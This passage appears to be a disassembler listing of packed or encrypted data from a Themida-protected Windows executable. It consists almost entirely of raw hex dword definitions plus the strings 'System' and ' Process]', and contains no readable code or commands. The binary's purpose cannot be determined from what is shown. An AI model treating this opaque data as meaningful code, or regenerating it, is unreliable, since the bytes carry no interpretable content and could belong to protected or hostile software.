		dd 1AAA5AAFh, 93006F85h, 0D6B0152Eh, 0BA0E2B9h,	8F1E895Eh
		dd 0B01DAD5Ch, 96EDB70h, 0BF7C46D9h, 4CD30566h,	0BB85C1A6h
		dd 9387EC59h, 8BE7F73h,	0B2E5E26Bh, 0CB0B7808h,	0FA0EC136h
		dd 0FE874E17h, 0FA000004h, 0A2BB208Dh, 6FBE7F7Bh, 7B8DA62Dh
		dd 185ABE7Fh, 679F3383h, 5BEABD2Ah, 0AA09F0F6h,	9A15571Fh
		dd 79D28935h, 0C1E601F3h, 0FB61CD32h, 94D6FCD2h, 1A339805h
		dd 0E7F322E2h, 58C510A5h, 7BE87825h, 0AB3BE63Bh, 0BC69FE3Eh
		dd 88ED7C2Bh, 0F5883ECDh, 5A8D1C5Eh, 79E820B0h,	2CD0591Ah
		dd 0C73A194h, 0FF79EB74h, 4174096Bh, 0D5651497h, 90C62868h
		dd 12761B8Fh, 4646B21Fh, 90000007h, 0EA1F57E7h,	4277AF3Fh
		dd 97CC0494h, 0EA1F57E7h, 7975AD3Dh, 0E67623A4h, 3DCD79AEh
		dd 9121D005h, 0EA7A2459h, 7ADF6EB2h, 1FAE56E1h,	8679E92Eh
		dd 50BD4CDCh, 0F352EBh,	62F29C19h, 2163B5F5h, 67D4418Ch
		dd 0F36902h, 0DF74B619h, 8B4FFEACh, 61F66236h, 0F3629AFCh
		dd 0CE7FEB94h, 0CA5F476Dh, 1345Eh, 0ED4C0C00h, 6FCB82E0h
		dd 42D28203h, 4B9E4BE0h, 0A886A25Ch, 0CFF855D2h, 8CBAA570h
		dd 67FC230Ah, 992D3FF2h, 0A75386A6h, 88EA7A24h,	0B46DB1Bh
		dd 0B0h, 0D1A31F7Eh, 0FF7E177Ch, 89CB1900h, 34982A08h
		dd 5F4B78B3h, 6E035309h, 7ADF4C1Eh, 1900F3E1h, 0BA4AF92Eh
		dd 0CB64C958h, 181900F3h, 559441D6h, 2356C352h,	0C65FE676h
		dd 131900F3h, 6ACF3CD1h, 1900F3ACh, 396CD91Bh, 58C7FF8Fh
		dd 50E57525h, 54E3731Dh, 0F3E982E7h, 0F4361900h, 8067145Fh
		dd 1641E08h, 0C5271B29h, 6B0ED736h, 0C2CBD0F1h,	175BC02Dh
		dd 641FAAC4h, 0D0349322h, 0A5D6A733h, 0D51D369Bh, 0A8EA1FAAh
		dd 0B141F146h, 0E271D11Ch, 0DB7000AFh, 1FD2ED60h, 66AD429Ah
		dd 7898A507h, 0E4795487h, 7A9h,	0DC4D3900h, 0FB000000h
		dd 0DA6A194Ch, 0D845D585h, 91560398h, 0C8228716h, 171FA9FFh
		dd 0DE8A9FD5h, 0CB38FC98h, 5DC5Fh, 0C151FA00h, 19A95489h
		dd 6EFEACE1h, 0C1510136h, 17A75489h, 8D32E3DFh,	0E31850E0h
		dd 3A6FA737h, 8EC3FB8Bh, 0D81C54E4h, 554BE449h,	53981FAEh
		dd 0CADD0CE3h, 712DF410h, 0B36659F4h, 2CA6987Eh, 4Dh, 0D7DD0CBCh
		dd 7D379929h, 5FDCB461h, 7E1ED1EEh, 3697A698h, 27000000h
		dd 10CADD0Ch, 0B36112F4h, 94F68630h, 0BA4AF427h, 321B964Dh
		dd 0B2E554C2h, 0C8087505h, 3295B833h, 2FC454FFh, 0FBB2CAh
		dd 28DA7119h, 0A1A69882h, 0FFFFFE6Eh, 6A194C31h, 519845DAh
		dd 0AE809C56h, 0CF0665D4h, 37DEAE64h, 1C15ABFh,	0CC0E1900h
		dd 0F35AD56Ah, 997019CCh, 25F92A6h, 4C220000h, 0F3E17ADFh
		dd 7B2B1900h, 0EC3E7EEBh, 35E215AAh, 550538A5h,	46419A6h
		dd 0C729DD2Fh, 0FB52CD5Ah, 3D9C5906h, 0AA63B088h, 0C25AC06h
		dd 0D91900B0h, 0C8FD3597h, 711E8B1Bh, 3DA23176h, 1FAA5BD5h
		dd 32912062h, 42A97ACAh, 0A9BF40E5h, 0D55C8445h, 0F77AC55Ah
		dd 6310F15Ch, 68E544D3h, 0CF3E539Ch, 588DA338h,	49AE1BABh
		dd 1FA9BB4Ch, 97301D98h, 0B724B464h, 8B3EB458h,	0B2148112h
		dd 0AD3DEA1Dh, 8EA70675h, 5EEE9DBCh, 0A874A2DDh, 0A333E013h
		dd 516AC936h, 0F26F3492h, 0C027D469h, 0AFF358E7h, 0DF1903D5h
		dd 0D96EFEACh, 0A5D867A9h, 0BFD56AFAh, 41D0D710h, 11D66FD4h
		dd 0E1231452h, 347ADF4Ch, 8312F8F2h, 0D66FD441h, 200AFB0Ch
		dd 4578E575h, 6B9E0B9Bh, 0D9542DBDh, 60CD8074h,	0DD3FF601h
		dd 3AE75A7h, 17C1173h, 0FBAC3B4Ch, 23F30D6Ch, 7954A2D6h
		dd 0D455904Bh, 65FA02FCh, 6D2F93F8h, 5A9C0C51h,	0B343ED22h
		dd 0D9691346h, 3040EB4Ah, 0CA76F327h, 4B3D5E66h, 46DB3DF8h
		dd 41668130h, 3FCF7FB2h, 8F3D92D2h, 98FD6AFFh, 50E80E6h
		dd 51B62365h, 384D6A44h, 0A61934D1h, 0C7E613F3h, 0CF68CD3Ah
		dd 1C384D52h, 40AD3DE7h, 9E499E00h, 0CC61A10Eh,	3A91h
		dd 0ED4C2100h, 27656586h, 2CDC31BFh, 5AEF2F9Ch,	0DE6D3AADh
		dd 0AA4CCD79h, 3BEA1D1Fh, 69FE3EABh, 258AF739h,	1FA9AC70h
		dd 7A4508A5h, 0AD41DDC7h, 0A131DB0Eh, 0B6D10Ch,	86610000h
		dd 5EBD4CDCh, 0F3A02399h, 35B6F663h, 0C81D611Bh, 0DF1F8C1Ch
		dd 1FCCFF4Ah, 56B5228Fh, 0C1952FA6h, 0EF22B7F8h, 0A238845h
		dd 0D71900B0h, 93C63395h, 97CA59E9h, 9BFE3DECh,	70097AEDh
		dd 0CC61A10Eh, 0ED574FB6h, 37E11900h, 27C06FA7h, 5184F180h
		dd 73A613A3h, 40D537C7h, 0ACBF07DBh, 8312541Fh,	81E6A350h
		dd 1FAB38E8h, 5991F335h, 0B1E77724h, 0FC961F5Ah, 127BE754h
		dd 0C4000003h, 1E538B1Bh, 76ABE373h, 0CB0038C8h, 1E538B1Bh
		dd 0ADA9E171h, 1AAA57E8h, 7101ADE2h, 0C5550439h, 1EAE588Dh
		dd 0AE13A2E6h, 1FAE5A95h, 86AD1D62h, 0DC1149D9h, 186AA232h
		dd 0BC6B194Ch, 0C139754Eh, 0C85DBF5Ch, 0EE5BEB95h, 498111BBh
		dd 4CDC86F7h, 7202ACDFh, 0F95ECB3Ah, 1900F360h,	29D66BADh
		dd 0F55AE9BEh, 1FAA0645h, 350561C2h, 0CD63DBECh, 0FC99FE6Bh
		dd 191FA993h, 3BEED17Ch, 0B4AD41DAh, 44h, 3C55BA27h, 91FA99Bh
		dd 0CE232C7h, 0D83DCCDBh, 1FAA0792h, 0A9A497Ch,	2CBC6A9Dh
		dd 66D249CAh, 643B6EB1h, 0F05D9FCFh, 0A98A8E8Bh, 0DF6E0B1Fh
		dd 41F72DE0h, 0D2A6ADh,	0BA190000h, 0BD61B782h,	0CE1EB3F0h
		dd 406FED4Ch, 83036C5Ah, 98D845D5h, 0C46EA136h,	0C772A534h
		dd 6C0E9518h, 9E00A606h, 0DE8BBE09h, 0B91BAB5Bh, 0DF6F194Ch
		dd 5953F72h, 98AC66CDh,	4EF81900h, 76D02FBEh, 0E5F75931h
		dd 0CF3E54E9h, 0CC61F19Ch, 0F25FEF99h, 6512A245h, 873568D5h
		dd 0E84A8AF7h, 0FC92F786h, 4B1FA995h, 0A71B7A09h, 72F57E48h
		dd 9D4C62F7h, 69CE5D4Ah, 1905246Fh, 0D80B9ADCh,	2E639B2Bh
		dd 5ABBF181h, 68F5ECB3h, 1C38FFBh, 6A130000h, 0C26DA2DAh
		dd 17C5FA32h, 6A1A4F87h, 0C06DA2DAh, 1BFCF830h,	3169F9A6h
		dd 88C050FCh, 0DC14A453h, 356DFDA7h, 64FD62F1h,	0B11FAE59h
		dd 0D986FC6Ch, 32DC1149h, 9CFB6AA2h, 2B9469B5h,	48982D91h
		dd 3DCCDB0Ch, 0AA0792D8h, 0A77B91Fh, 0A9E6F0A5h, 0C588251Fh
		dd 419347FAh, 0C1C0ADh,	86500000h, 0ACDF4CDCh, 40D07CFFh
		dd 120C71DEh, 9E1900F8h, 76D564F4h, 2CFE8A1Fh, 73891E3Eh
		dd 9704943Eh, 1BAAFDEAh, 4BCE7BAEh, 63A310A0h, 6CFCAC01h
		dd 49DC72D7h, 81EE1FA9h, 0A94D031Ch, 0F98ED01Fh, 0A04F87C9h
		dd 9ED16047h, 0C6E061F1h, 4E69A941h, 1075E277h,	1905BC97h
		dd 2053E224h, 76ABE373h, 40339C9h, 0BAF5ED22h, 0F3E14Dh
		dd 3AE30000h, 923D72AAh, 0E795CA02h, 3AEA1F57h,	903D72AAh
		dd 0CBCCC800h, 139C976h, 589020CCh, 0ACE47423h,	53DCD77h
		dd 0B4CD32C1h, 811FAE58h, 0D986CC3Ch, 0F39EB71Ch, 296B1900h
		dd 0B05A8FC7h, 0D6329120h, 425EBD71h, 1934EB6Ch, 0E2E1D413h
		dd 86E5374Dh, 265D2DDCh, 0E0D0E64Ch, 1D82EF7Eh,	19002C04h
		dd 0AFFA8FD1h, 0A42D27Ch, 78288C5Bh, 0E63B7BE8h, 0FF3FAC3Ch
		dd 0FDA90E9Dh, 4A1FAF4Bh, 6BD86815h, 738099FEh,	0B4D1FAFh
		dd 0D43A28A9h, 0E2C0D825h, 73A61380h, 0A9A44C7h, 66FB5D9Dh
		dd 67CC8933h, 1FAF22CEh, 22E079DEh, 0EB2D1FAFh,	0BDF55799h
		dd 0E14EDE88h, 7974174h, 16B03B9Ah, 0EAC2F497h,	7C8EF388h
		dd 6E1A1561h, 0FDA75AF3h, 5600356Dh, 590437C6h,	36C674C9h
		dd 732356A1h, 58F376E3h, 0D2620CF5h, 2BBB659Ah,	352BEh
		dd 39000000h, 4DDD86C7h, 7303ADE0h, 9424D306h, 0B848F427h
		dd 0DB6B184Bh, 0FE8E3B6Eh, 1EAE5E91h, 40D07EB1h, 65F5A0D3h
		dd 6687FF8h, 8900004Ch,	89562434h, 4C681E6h, 83000000h
		dd 348704EEh, 1C895C24h, 70516824h, 4890000h, 18BD5524h
		dd 453C840Dh, 8306E5C1h, 0F581FFEDh, 562E2294h,	0C581DDF7h
		dd 7DDC0618h, 685DEB89h, 1159h,	81242489h, 42404h, 68580000h
		dd 68F8h, 8F241C89h, 34FF0840h,	0C4815824h, 4, 5B2434FFh
		dd 4C481h, 2DE90000h, 0FFFB9Dh,	2A90B951h, 0C9B2F402h
		dd 0D73758B9h, 0AC75B83Eh, 0C50306AEh, 0E64AE0FFh, 0CA1D070Ah
		dd 2F5F729Dh, 73851608h, 62CA4613h, 0F0A72496h,	22EC2A7Dh
		dd 99E45631h, 2B4E3C2Ch, 0B3D0467Bh, 19B01527h,	0BFF62A04h
		dd 603B0D89h, 616B2306h, 76EC656Bh, 156873F7h, 27562577h
		dd 9AE13C03h, 0A39F6DB8h, 0E85E189Ah, 0B0230DA1h, 0F735311Dh
		dd 0BE82837h, 59000000h, 7B240102h, 0F66CA3F9h,	0ED801D9Fh
		dd 0C38058C5h, 98C08162h, 0F00006Bh, 684h, 0BFC98100h
		dd 685B29DCh, 0
		dd 66525EF8h, 8B5BD98Bh, 870F3014h, 3, 81A0D580h, 0A715A8F2h
		dd 817BB140h, 26C0F1F2h, 0FE851h, 0F6D40000h, 328D82B7h
		dd 1CA8B19Ah, 64ED1127h, 4DF1813Fh, 590824E3h, 3B57EA81h
		dd 0F1811C2Ch, 633B1B75h, 8B301489h, 38A0FF8h, 0F000000h
		dd 0EE83FFB7h, 0BBD38104h, 81502E0Bh, 0FF9544FEh, 26850FFFh
		dd 60000000h, 6850Fh, 0C1810000h, 4AF7A558h, 61CBB70Fh
		dd 36E9h, 0FC66A300h, 3F8653h, 64EE9E0Bh, 0A98A4406h, 0EE97Dh
		dd 0BAE20000h, 69A8D454h, 0B4115C8Ah, 0F9B1CD60h, 0FFFF5EE9h
		dd 120C2CFFh, 0BB8E38EFh, 7524CBB0h, 0E932428Bh, 17Fh
		dd 2F39C168h, 87CD6FFCh, 4F314B92h, 8EC5FB0h, 51E751BBh
		dd 8E451B8h, 51EF5FB3h,	38C4768Fh, 51962386h, 0D36D7708h
		dd 9F69C36Ch, 50D1B19Ch, 51A01307h, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 44h dup(0)
		dd 0E9000000h, 17ADh, 0AEB15E68h, 9A46E906h, 4E68FFFBh
		dd 0E906AEB2h, 0FFFB9A3Ch, 0AEB33D68h, 9A32E906h, 4368FFFBh
		dd 0E906AEB4h, 0FFFB9A28h, 0AEB5D368h, 9A1EE906h, 4768FFFBh
		dd 0E906AEB7h, 0FFFB9A14h, 0AEB81668h, 9A0AE906h, 168FFFBh
		dd 0E906AEB9h, 0FFFB9A00h, 0AEBB0368h, 99F6E906h, 1D68FFFBh
		dd 0E906AEBCh, 0FFFB99ECh, 0AEBCEA68h, 99E2E906h, 8468FFFBh
		dd 0E906AEBDh, 0FFFB99D8h, 0AEBF7C68h, 99CEE906h, 668FFFBh
		dd 0E906AEC5h, 0FFFB99C4h, 0AEC62568h, 99BAE906h, 3AE3FFFBh
		dd 923D72AAh, 0E795CA02h, 3AEA1F57h, 903D72AAh,	0CBCCC800h
		dd 139C976h, 589020CCh,	0ACE47423h, 53DCD77h, 0B4CD32C1h
		dd 811FAE43h, 0DC86CC3Ch, 2ACDF4Ch, 5C8B3A72h, 2757BC4Bh
		dd 241FAA06h, 0B1075E2h, 901FA9E0h, 0B2655AF3h,	2BAD418Dh
		dd 2Ah,	0CCDB0CBBh, 792D83Dh, 77B91FAAh, 0E6F0A50Ah, 96251FA9h
		dd 0E6ABC429h, 36781FA9h, 982726A1h, 0AD4193E5h, 0C55Eh
		dd 194CEE00h, 1548DD6Dh, 0A939E86Bh, 2D9AFC3Ch,	2EBD4DFAh
		dd 0F3C35CC1h, 620D1900h, 0BD3E80D2h, 0E5B6D8D3h, 0F742D7DBh
		dd 1D8A1AC4h, 78B040EAh, 623F11h, 6F1C4F19h, 63D98CC0h
		dd 0B0126704h, 0AE3EE81Bh, 0AE3EEC1Fh, 24CE0319h, 6D7A2794h
		dd 0EC46AB3Ah, 3B1FAAB0h, 0D512C1F9h, 9DDE43D2h, 0EA19056Ch
		dd 167808B5h, 17A75487h, 4EFDAADFh, 2E93D3B8h, 90C6287Eh
		dd 0F5ECEB5Dh, 81FC68D5h, 0E4000015h, 3E73AB3Bh, 96CB0393h
		dd 0EB2058E8h, 3E73AB3Bh, 0CDC90191h, 3ACA77C8h, 9121CD02h
		dd 0E5752459h, 3ECE78ADh, 0CE33C206h, 1FAE42B5h, 86CD3D82h
		dd 0DC1149D9h, 0FB6AA232h, 0F310298Eh, 9BDD1900h, 0DB0CB606h
		dd 92D83DCCh, 0B91FAA07h, 0F0A50A77h, 251FA9E6h, 9502C588h
		dd 0A9E61730h, 0DA2E41Fh, 4193E598h, 0ACCD2CADh, 7000AB34h
		dd 0F842C303h, 2A65FAC5h, 0C1h,	4CDC86BAh, 52EB50BDh, 9F1900F3h
		dd 4A7DC85Dh, 33A00D9Dh, 0CBDAECD4h, 2ABFA1C5h,	8EBC5h
		dd 0AEA40319h, 49BC89E1h, 54FE31C6h, 0AD578CC4h, 0E443B01Dh
		dd 536DFD8Ah, 550055D0h, 831858C5h, 79611D6h, 29B9679Ah
		dd 82E77CBCh, 1FAA9928h, 4EFD3577h, 1A7F0E99h, 190516C6h
		dd 0D744D315h, 0D469F9A4h, 2C64F4A1h, 84BA4AF7h, 0F5EC965Bh
		dd 91FA66D3h, 0D4000014h, 2E639B2Bh, 86BBF383h,	0DB1048D8h
		dd 2E639B2Bh, 0BDB9F181h, 2ABA67D8h, 8111BDF2h,	0D5651449h
		dd 2EBE689Dh, 0BE23B2F6h, 1FAE41A5h, 86BD2D72h,	5BBA49D9h
		dd 0D07F6174h, 0DB86BF40h, 0A8DDF388h, 3FCF7BFEh, 0F83092D2h
		dd 4CDC86A6h, 52EB50BDh, 621900F3h, 0F364FDh, 1D6FB119h
		dd 4BDB86DBh, 0BE099EDEh, 1951E18Bh, 39A636E4h,	94CC5C06h
		dd 0F8EF1278h, 0F9F4F82h, 0F3EF88h, 98FA3C19h, 0EF3D9C09h
		dd 0CE67CCD3h, 1B190061h, 41B558D9h, 35B116ABh,	121FAA5Bh
		dd 69E241D0h, 0B6C44C60h, 6FD42DC2h, 162255ABh,	0D46344A3h
		dd 99B3936Fh, 17A6E8E1h, 332C45AAh, 0B7F91DDCh,	376AD722h
		dd 4D8DFA8Ah, 0CBDC0BB8h, 0A7C6D73Ch, 41831B71h, 52D57FB2h
		dd 78B012A2h, 6AEA9943h, 0F97559FEh, 16D3096Bh,	2CF7B835h
		dd 13A253BFh, 1AC30000h, 721D528Ah, 0C775AAE2h,	1ACAFF37h
		dd 701D528Ah, 0EBACA8E0h, 0E119A956h, 387000ACh, 8CC45403h
		dd 0E51DAD57h, 94AD12A1h, 611FAE40h, 0DC86AC1Ch, 3F72DF4Ch
		dd 0BF6C0191h, 32E18C28h, 5BF8231Dh, 96036595h,	65F456h
		dd 1FAA1AE2h, 5681D839h, 415B4F60h, 4CAE3EECh, 0CB46A514h
		dd 0FB25B2EEh, 9B2BDA2Fh, 2659EE2Eh, 0D27FEC7Ch, 0D0039215h
		dd 0E5259222h, 67EE350h, 9519066Ah, 0EA57C453h,	5889EC85h
		dd 62F73914h, 0BDF5852Fh, 0E14EDE88h, 65F4B334h, 8515C5F8h
		dd 0DE43D818h, 12F7DB86h, 288B3998h, 57936576h,	0C15092C2h
		dd 0E2722154h, 5954275h, 61F65898h, 0BCF4842Eh,	0BE4DDD87h
		dd 0E67FE451h, 330D0752h, 52D16AF1h, 0DC1E0D07h, 984FFC47h
		dd 0E013800Fh, 0F434A131h, 0F663F39Fh, 0ABC21B6h, 0DC0BADA5h
		dd 40710A6Fh, 7CBE03B0h, 80ED7D27h, 397BAB40h, 9146C803h
		dd 8DF966E8h, 129Ch, 589020C9h,	0B0E87823h, 53DCD7Bh, 589020D0h
		dd 0AEE67623h, 0AF5CEDB2h, 6B2E71Fh, 5A093E76h,	0B35D92CAh
		dd 18A7EB23h, 0AE479AB3h, 0B222671Fh, 1149D986h, 93228562h
		dd 0A9F6442Eh, 0A409761Fh, 1FA9F08Bh, 51811658h, 0C56FA20Fh
		dd 1EC8FD35h, 7374218Eh, 4640A534h, 0D51900FFh,	0F663F3A0h
		dd 64E754B6h, 0D37D84C9h, 699C0B43h, 0EB982DBDh, 0B71CABFCh
		dd 12FBFACFh, 8C1CCCFFh, 1A4ADF1Fh, 9FFE6BD8h, 2831065Eh
		dd 369B2A83h, 0AFB3C1Dh, 0E013A8EAh, 7909B336h,	0C977AA17h
		dd 0EB99CC39h, 0CC2EBE68h, 0F657D25Fh, 79D44FFEh, 3FCED90Eh
		dd 3CD46DD2h, 0DF210AFBh, 8E78DD4Ah, 0FD0C5239h, 0A44E83BBh
		dd 0A7528514h, 0CA378217h, 0C6FCDF6Bh, 90258C17h, 0A5C96E2Bh
		dd 7F2ED803h, 0A13CB3Ch, 3DAA0C00h, 5FCC5C0Ah, 4DE06200h
		dd 0CEA776A1h, 47FAFA53h, 0D68081CCh, 2FD90E46h, 6285329Fh
		dd 0D551B645h, 35050D48h, 73C85802h, 74A439C9h,	0AFDEFA32h
		dd 45137572h, 2BC830BFh, 37C771C6h, 0A3E146D5h,	3EE297h
		dd 631043BEh, 0B1E544D3h, 66CC888Dh, 8DF23DD2h,	3EFB0288h
		dd 0F18027C0h, 0F6A55184h, 58CD32EEh, 83F052CDh, 0FB49AE43h
		dd 4838543Ch, 0D70A7706h, 0EE2E9B2Bh, 0EC7C2659h, 3EE645B4h
		dd 0D9D4919h, 43DF60A0h, 81B449A3h, 59B847D7h, 4D5BA088h
		dd 540257AEh, 821757C4h, 0C7570437h, 96FF4491h,	2591FED4h
		dd 110Ch, 0E820B059h, 407808B3h, 95CD5D0Bh, 0E820B060h
		dd 3E7606B3h, 3FEC5D42h, 964277AFh, 0EA99CE06h,	43ED225Ah
		dd 0A8377BB3h, 0AE462A43h, 42B2F71Fh, 1149D986h, 35A232DCh
		dd 5BC85802h, 7BE87828h, 79DE9B48h, 1900F3E0h, 1C89EB2Dh
		dd 0BB39148Fh, 41C08D08h, 0D6661497h, 8FC72969h, 987E6518h
		dd 18EDEA6h, 866E0000h,	0ACDF4CDCh, 8B3A7202h, 57BC4B5Ch
		dd 1FAA0627h, 1075E224h, 1FA9E00Bh, 655AF390h, 0AD418DB2h
		dd 5D2Bh, 0DB0CBB00h, 0F3213A9Fh, 4CB11900h, 1900F333h
		dd 2A6CBE00h, 67CC39C8h, 1900F3CEh, 6EDB6B18h, 59ADC2Eh
		dd 59BE2B98h, 1900F3C0h, 0D136CB0Dh, 1FAA0795h,	9E0370B2h
		dd 1FA9E6F9h, 7CE19E4Bh, 1FA9E6E3h, 1F8CEE30h, 45B242ECh
		dd 0CE2627C2h, 219EAF4Ch, 0AD41936Eh, 0C4E7h, 0DC867700h
		dd 1372DF4Ch, 0F6C764F0h, 2053E82Eh, 976E373h, 0AE7928D6h
		dd 60E7953Ch, 0DC0E8FF1h, 0E856AFACh, 0E690C358h, 0CB6E956h
		dd 0A2D5447Ch, 0BBFB68F8h, 0BF2CBC66h, 0AB85EA7Fh, 0FD19008Ch
		dd 134C353h, 1C32C757h,	9E2D7A6Dh, 0ACDC6539h, 9842751Fh
		dd 0AF3C9B08h, 6CD69A3Eh, 0A5D56ACCh, 0F4A1D463h, 0AB9D237h
		dd 0FD571FACh, 746BE044h, 6FD11365h, 7E01ADE0h,	48DD3FCFh
		dd 0C050FD32h, 95F93D8Ah, 289401FCh, 0F98h, 5C9424CDh
		dd 0B4EC7C27h, 941D17Fh, 5C9424D4h, 0B2EA7A27h,	0B360E1B6h
		dd 0AB6EB23h, 5E0D427Ah, 0B76196CEh, 1CABEF27h,	0AE449EB7h
		dd 0B6266B1Fh, 1149D986h, 6AA232DCh, 69194C18h,	9AFF6CD9h
		dd 1900F381h, 15AA0C4Eh, 858938E2h, 75125C4Ah, 8515BF14h
		dd 0D983B623h, 32DC1149h, 69C835A2h, 5539204Ah,	9B64BE0h
		dd 0D53AC9DEh, 1FAACB49h, 329A9DFEh, 0EB4EE571h
		dd 55E35189h, 91000008h, 1ACDF4Ch, 3DC40471h, 1900F324h
		dd 0E71AAFF1h, 0D83DAA3Ah, 1900F3C3h, 0E079DE4Bh, 2A1900F3h
		dd 4383F080h, 6D1AAFF1h, 399E2D7Ah, 1FAFA1F3h, 3C6FFE40h
		dd 40730292h, 5B710696h, 7FEC7C26h, 0D90F9F4Ch,	0FC934C58h
		dd 0C981ED5Ah, 9C00000Eh, 0F62B63F3h, 4E83BB4Bh, 0A3D810A0h
		dd 0F62B63F3h, 8581B949h, 0F2822F90h, 49D985BAh, 9D2DDC11h
		dd 0F6863065h, 86EB7ABEh, 1FAE4BEDh, 8685F53Ah,	0DC1149D9h
		dd 0E013A232h, 0F333A030h, 0F366FF64h, 71B31900h, 0B45E91DCh
		dd 0B926B724h, 0F34EE74Ch, 599B1900h, 5DCA5A04h, 400D881Dh
		dd 0F88717C1h, 0F30D268Bh, 98DA1900h, 0C376ED03h, 0AA6987Eh
		dd 0FF1F389Dh, 8BEC1900h, 0E6B480D1h, 0F98EF060h, 19BEh
		dd 0FDD23100h, 0C45404F0h, 20A31643h, 4A543B8Bh, 0E91900FEh
		dd 0FFFD865Bh, 475409FFh, 871900F3h, 85B84760h,	9DDD4ADAh
		dd 0FB2E9B08h, 1353C050h, 0A1DB197Eh, 0E6281FAFh, 0EA7A2457h
		dd 43D37DB2h, 39F6A3D6h, 5DCE67CCh, 0D91B1FAEh,	0AE5D3952h
		dd 0C454031Fh, 2BDB3072h, 3003399Bh, 8EFC934Ch,	0DDEB521h
		dd 0DE870000h, 36E1164Eh, 8B396EA6h, 0DE8EC3FBh, 34E1164Eh
		dd 0AF706CA4h, 0A5DD6D1Ah, 0FC34C470h, 508818C7h, 0A9E1711Bh
		dd 0D871D665h, 251FAE4Ah, 0ED4C70E0h, 6DF46615h, 0A3D66B26h
		dd 0A7DA69F9h, 9BFA67F7h, 0F6E3B204h, 99E00EDh,	5EE18BBEh
		dd 53C022B2h, 0FB0647C2h, 1A89C151h, 8F2F48ADh,	0BAFC1900h
		dd 0FAFDB025h, 0D76A698h, 6000000h, 0FE4A54h, 0C05BE919h
		dd 9FFFFFCh, 0DB6B194Ch, 594E9946h, 56565CAh, 80C21FAAh
		dd 0E0E8AE13h, 922F1FA9h, 8D5104BBh, 0E1CAAD41h, 5A000001h
		dd 0F31754h, 833119h, 1656C353h, 25B55FB4h, 871678B8h
		dd 31E1C28h, 0D455545Fh, 8589AEAEh, 72E67BF1h, 4B14A403h
		dd 0C898CE03h, 0C6560033h, 1FAF598Eh, 24D04DB2h, 77121900h
		dd 0F1812BD6h, 0C4E30AB9h, 0EA7A2457h, 43D37DB2h, 243471D6h
		dd 0C4611900h, 52833689h, 81FCA699h, 6F000001h,	0B2E1903Ch
		dd 580AA144h, 0C111A608h, 0DF4CDC86h, 3A7202ACh, 0BC4B5C8Bh
		dd 0AA062757h, 75E2241Fh, 1D369B08h, 0AD1FA9E0h, 0A9E02F48h
		dd 68BAFC1Fh, 19329726h, 0E61FA9E0h, 0EDAA0FA4h, 2A1FA9E0h
		dd 4CFFC08Dh, 0C5AD418Dh, 59h, 85ED4C55h, 0A44B64A6h, 17A2BB20h
		dd 2D6F1900h, 5E8936CBh, 1155BA49h, 0F91FAAE3h,	0F68B1BC6h
		dd 0B21784C6h, 1FA90BE5h, 0B724B45Fh, 0D946D684h, 0B6E076Ch
		dd 79BB1FA9h, 0F6FE4FCAh, 5176D774h, 4EE3731Eh,	427626D9h
		dd 9B006DADh, 1FAAF782h, 3D780D4Fh, 0B7h, 4CDC86CDh, 50FFACDFh
		dd 0D16BCA84h, 471D32Ah, 2A9727D1h, 4CDC8ABDh, 0D70A9FDFh
		dd 0FE659D2Dh, 19012CAAh, 8CC454FEh, 0E9D0ADDh,	0CA131DBh
		dd 9A643A9Fh, 43761FACh, 7818E998h, 5A1A4CEBh, 0F13363F8h
		dd 0C5822F62h, 0AB57C760h, 70D2141Fh, 0C6560338h, 96558D90h
		dd 4CB825FCh, 0BDCh, 1850E089h,	70A838E3h, 0C5FD8D3Bh
		dd 1850E090h, 6EA636E3h, 6F1CAD72h, 0C672A7DFh,	1AC9FE36h
		dd 731D528Ah, 0D867ABE3h, 0AE48DA73h, 72E2271Fh, 0B71CD986h
		dd 1900F39Eh, 38C7296Bh, 32C75705h, 574EAD1Ch, 0AAC32829h
		dd 771900D6h, 0B57AB435h, 0AB4E77Ch, 86F0427Ah,	72DF4CDCh
		dd 65DB9213h, 4996E9Fh,	5F9727D1h, 1A9A91F0h, 0FD6AFAA5h
		dd 0F183CBDh, 9D0D790Eh, 0BB000004h, 7FB22F9Fh,	0FDAA3FCFh
		dd 0FB2EBDEAh, 0BA27BC4Ch, 0AFA1D055h, 0A433751Fh, 0C431C171h
		dd 2996EF84h, 35B646F6h, 0E1F8C821h, 9D4ADF00h,	69CE5D4Ah
		dd 19044141h, 92FF6CAEh, 8231B45Fh, 0E34585F2h,	8BA40976h
		dd 5814579Ch, 0A233B416h, 0F40775BEh, 2177C11h,	0C4145781h
		dd 0EA1D8A1Ah, 0E03FAC3Ch, 9A66788Bh, 72EDA022h, 89719DBh
		dd 39828D5h, 47FAC588h,	0C0B3F019h, 3D2h, 0F3475450h, 0BDCF1900h
		dd 111900F3h, 0DD42D1D6h, 1FAA08C9h, 69A6DC1Eh,	45FC98E2h
		dd 0AC26CD8h, 0FAA30000h, 52FD326Ah, 0A7558AC2h, 0FAAADF17h
		dd 50FD326Ah, 8B8C88C0h, 0C1F98936h, 1850E08Ch,	6CA434E3h
		dd 0C5FD8D37h, 0F48DF281h, 411FAE4Fh, 0DC868CFCh, 1372DF4Ch
		dd 49C9F6EEh, 15C25735h, 1346D5D2h, 0F966D363h,	0F2FB94h
		dd 0A4064819h, 0C835A20Fh, 0F2CA63h, 3F0CE819h,	0FE9AF8F3h
		dd 70D56AACh, 1FAF4438h, 8FC25193h, 0A8E855E5h,	994EFD13h
		dd 0F21A7F0Eh, 41190035h, 913D70FFh, 5B137201h,	0AEC72C0Ch
dword_5A3568	dd 7B145E35h, 9D25B839h, 170861Bh, 0FD9222CEh, 5EA3DB98h
					; DATA XREF: Themida_:off_56A90Eo
		dd 0AFF8F314h, 6964277h, 2CBC6699h, 2BBB6A9Dh, 9EE97EBEh
		dd 12BEF6F1h, 2C912082h, 12F4417Eh, 23B35D90h, 0E61C5E8Eh
		dd 0EF3A7C33h, 0F5B6228Fh, 70000009h, 0CAFF37C7h, 22578F1Fh
		dd 77ACE474h, 0CAFF37C7h, 59558D1Dh, 0C6560344h, 1DAD598Eh
		dd 7101B0E5h, 0CA5A0439h, 5ABF4E92h, 1FAE4FC1h,	4C59C90Eh
		dd 387651EDh, 0E3784086h, 67F6B136h, 63F88834h,	0AF0B91F6h
		dd 76B81FAFh, 7808B4E7h, 0F764D140h, 0AE4EF992h, 7D04461Fh
		dd 1FAE4EE4h, 275AEF31h, 0D17EEB7Bh, 95029116h,	0CF24B462h
		dd 0E5259222h, 1CBDEB50h, 72D11901h, 4A8A64ABh,	93C3589Eh
